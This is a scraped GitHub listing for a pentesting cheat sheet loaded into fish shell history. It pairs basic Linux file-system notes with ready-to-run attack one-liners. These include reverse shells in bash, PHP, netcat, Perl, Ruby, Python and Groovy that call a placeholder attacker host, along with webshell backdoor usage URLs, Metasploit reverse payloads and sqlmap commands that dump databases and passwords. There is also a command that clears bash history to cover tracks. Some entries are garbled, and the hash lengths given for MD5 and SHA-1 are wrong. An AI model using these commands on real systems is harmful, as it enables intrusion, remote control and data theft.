https://github.com/LubuntuFu/fishfry
replaces fish history with a history tailored to pentesters for efficency and newbie pentesters for learning. this is also useful for begginer linux users as i have included descriptions of the file structure and basic commands, also includes commands for several different distro's.
https://github.com/LubuntuFu/fishfry
Last synced: 12 days ago
JSON representation
replaces fish history with a history tailored to pentesters for efficency and newbie pentesters for learning. this is also useful for begginer linux users as i have included descriptions of the file structure and basic commands, also includes commands for several different distro's.
- Host: GitHub
- URL: https://github.com/LubuntuFu/fishfry
- Owner: LubuntuFu
- License: gpl-3.0
- Created: 2016-07-01T05:11:59.000Z (almost 9 years ago)
- Default Branch: master
- Last Pushed: 2016-07-04T05:52:19.000Z (almost 9 years ago)
- Last Synced: 2024-11-04T15:52:35.298Z (5 months ago)
- Homepage:
- Size: 54.7 KB
- Stars: 51
- Watchers: 9
- Forks: 3
- Open Issues: 1
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
- fucking-Awesome-Linux-Software -  for details.
Clear bash history - $ ssh [email protected] | cat /dev/null > ~/.bash_history
777 rwxrwxrwx No restriction, global WRX any user can do anything.
755 rwxr-xr-x Owner has full access, others can read and execute the file.
700 rwx------ Owner has full access, no one else has access.
666 rw-rw-rw- All users can read and write but not execute.
644 rw-r--r-- Owner can read and write, everyone else can read.
600 rw------- Owner can read and write, everyone else has no access.
/ - also know as "slash" or the root.
/bin - Common programs, shared by the system, the system administrator and the users.
/boot - Boot files, boot loader (grub), kernels, vmlinuz
/dev - Contains references to system devices, files with special properties.
/etc - Important system config files.
/home - Home directories for system users.
/lib - Library files, includes files for all kinds of programs needed by the system and the users.
/lost+found - Files that were saved during failures are here.
/mnt - Standard mount point for external file systems.
/media - Mount point for external file systems (on some distros).
/net - Standard mount point for entire remote file systems - nfs.
/opt - Typically contains extra and third party software.
/proc - A virtual file system containing information about system resources.
/root - root users home dir.
/sbin - Programs for use by the system and the system administrator.
/tmp - Temporary space for use by the system, cleaned upon reboot.
/usr -Programs, libraries, documentation etc. for all user-related programs.
/var - Storage for all variable files and temporary files created by users, such as log files, mail queue, print spooler. Web servers, Databases etc.
/etc/passwd - Contains local Linux users.
/etc/shadow - Contains local account password hashes.
/etc/group - Contains local account groups.
/etc/init.d/ - Contains service init script - worth a look to see whats installed.
/etc/hostname - System hostname.
/etc/network/interfaces - Network interfaces.
/etc/resolv.conf - System DNS servers.
/etc/profile - System environment variables.
~/.ssh/ - SSH keys.
~/.bash_history - Users bash history log.
/var/log/ - Linux system log files are typically stored here.
/var/adm/ - UNIX system log files are typically stored here.
/var/log/apache2/access.log & /var/log/httpd/access.log - Apache access log file typical path.
/etc/fstab - File system mounts.
gcc -o exploit exploit.c - Basic GCC compile
gcc -m32 exploit.c -o exploit - Cross compile 32 bit binary on 64 bit Linux
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe - Compile windows .exe on Linux
gcc -o suid suid.c
gcc -m32 -o suid suid.c - for 32bit
root@kali:~# nc -nvlp 80 , nc: listening on :: 80 ... , nc: listening on 0.0.0.0 80 ...
exec /bin/bash 0&0 2>&0 , 0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196 , exec 5<>/dev/tcp/ATTACKING-IP/80 , cat <&5 | while read line; do $line 2>&5 >&5; done , # or: , while read line 0<&5; do $line 2>&5 >&5; done , bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1
php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");' , (Assumes TCP uses file descriptor 3. If it doesn't work, try 4,5, or 6)
nc -e /bin/sh ATTACKING-IP 80 , /bin/sh | nc ATTACKING-IP 80 , rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p
rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p , telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' , #perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
r = Runtime.getRuntime() , p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) , p.waitFor()
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
/usr/share/webshells/php/php-reverse-shell.php - Pen Test Monkey - PHP Reverse Shell
/usr/share/webshells/php/php-findsock-shell.php
/usr/share/webshells/php/findsock.c - Pen Test Monkey, Findsock Shell. Build gcc -o findsock findsock.c (be mindfull of the target servers architecture), execute with netcat not a browser nc -v target 80
/usr/share/webshells/php/simple-backdoor.php - PHP backdoor, usefull for CMD execution if upload / code injection is possible, usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
/usr/share/webshells/php/php-backdoor.php - Larger PHP shell, with a text input box for command execution.
/usr/share/webshells/perl/perl-reverse-shell.pl - Pen Test Monkey - Perl Reverse Shell
/usr/share/webshells/perl/perlcmd.cgi - Pen Test Monkey, Perl Shell. Usage: http://target.com/perlcmd.cgi?cat /etc/passwd
/usr/share/webshells/cfm/cfexec.cfm - Cold Fusion Shell - aka CFM Shell
/usr/share/webshells/asp/ - Kali ASP Shells
/usr/share/webshells/aspx/ - Kali ASPX Shells
/usr/share/webshells/jsp/jsp-reverse.jsp - Kali JSP Reverse Shell
Python TTY Shell Trick - python -c 'import pty;pty.spawn("/bin/bash")' - echo os.system('/bin/bash')
Spawn Interactive sh shell - /bin/sh -i
Spawn Perl TTY Shell - exec "/bin/sh"; perl —e 'exec "/bin/sh";'
Spawn Ruby TTY Shell - exec "/bin/sh"
Spawn Lua TTY Shell - os.execute('/bin/sh')
Run shell commands from vi: - :!bash
Spawn TTY Shell NMAP - !sh
ssh -L 9999:10.0.2.2:445 [email protected] - Port 9999 locally is forwarded to port 445 on 10.0.2.2 through host 192.168.2.250
ssh -D 127.0.0.1:9050 [email protected] - Dynamically allows all port forwards to the subnets availble on the target.
set payload windows/meterpreter/reverse_tcp - Windows reverse tcp payload
set payload windows/vncinject/reverse_tcp
set ViewOnly false - Meterpreter Windows VNC Payload
set payload linux/meterpreter/reverse_tcp - Meterpreter Linux Reverse Payload
MD5 Hash Length - 16 Bytes
SHA-1 Hash Length - 20 Bytes
SHA-256 Hash Length - 32 Bytes
SHA-512 Hash Length - 64 Bytes
sqlmap -u http://meh.com --forms --batch --crawl=10--cookie=jsessionid=54321 --level=5 --risk=3 - Automated sqlmap scan
sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/blah.php" - Targeted sqlmap scan
sqlmap -u "http://meh.com/meh.php?id=1"--dbms=mysql --tech=U --random-agent --dump - Scan url for union + error based injection with mysql backend and use a random user agent + database dump
sqlmap -o -u "http://meh.com/form/" --forms - sqlmap check form for injection
sqlmap -o -u "http://meh/vuln-form" --forms -D database-name -T users --dump - sqlmap dump and crack hashes for table users on database-name